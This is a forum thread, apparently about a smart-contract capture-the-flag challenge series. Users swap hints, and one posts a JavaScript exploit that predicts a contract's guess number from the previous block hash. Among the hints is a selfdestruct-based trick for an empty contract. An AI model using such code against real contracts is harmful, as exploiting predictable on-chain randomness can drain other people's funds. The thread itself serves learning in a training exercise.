Anyone finished the "Etherium Smart Contracts"?

puuuh.... I did all of them with some help from netcat 

Ep2 > check the chain explorer, you'll find something that you can decode. no brute force needed. 

Ep4 > you need to make sure you understand the BigInt in JS vs in ethereum. then you can work with that...

Ep5> empty contract, wtf?! :)  --> https://docs.soliditylang.org/en/v0.8.0/contracts.html#receive-ether-function with selfdestruct might give you some ideas...

you are right. EP-3 is done already. typo. It is EP-2 

async function exploit() {
    try {
        // Step 1: Get the last block number
        web3.eth.getBlockNumber((error, lastBlockNumber) => {
            if (error) {
                console.error("Error fetching block number:", error);
            } else {
                lastBlockNumber -= 1;  // Adjust for the previous block
                console.log("Last Block Number:", lastBlockNumber);

                // Step 2: Fetch the block details using the block number
                web3.eth.getBlock(lastBlockNumber, (error, block) => {
                    if (error) {
                        console.error("Error fetching block details:", error);
                    } else {
                        console.log("Block Details:", block);
                        let blockHash = block.hash;
                        console.log("Block Hash:", blockHash);

                        // Step 3: Convert the block hash to BigNumber
                        let hashVal = web3.toBigNumber("0x" + blockHash.substring(2));
                        console.log("Block Hash (BigNumber):", hashVal.toString());

                        // Step 4: Define the factor and max values
                        let FACTOR = web3.toBigNumber("35747612576471498868021289613942548619904587962479648126103951055944713673995");
                        let max = web3.toBigNumber(10);

                        // Step 5: Calculate the factor
                        let factor = FACTOR.mul(100).div(max);
                        console.log("Factor:", factor.toString());

                        // Step 6: Generate the random number based on block hash
                        let randomNumber = hashVal.div(factor).mod(max).add(1).toNumber(); // Ensure it's within range
                        console.log("Generated Random Number (BigNumber):", randomNumber.toString());

                        // Step 7: Interact with the contract
                        contract.guess(randomNumber).then((result) => {
                            console.log("Guess sent: Success!", result);

                            // Step 8: Query the contract for the number of successful guesses
                            contract.correctNumberCount()
                                .then((correctNumberCount) => {
                                    console.log(`Number of successful guesses: ${correctNumberCount}`);
                                })
                                .catch((error) => {
                                    console.error("Error fetching correct number count:", error);
                                });
                        })
                        .catch((error) => {
                            console.error("Error sending guess:", error);
                        });
                    }
                });
            }
        });
    } catch (error) {
        console.error("Unexpected error:", error);
    }
}

exploit();

I tried this one so far for EP-4. Do I have an error in my thoughts?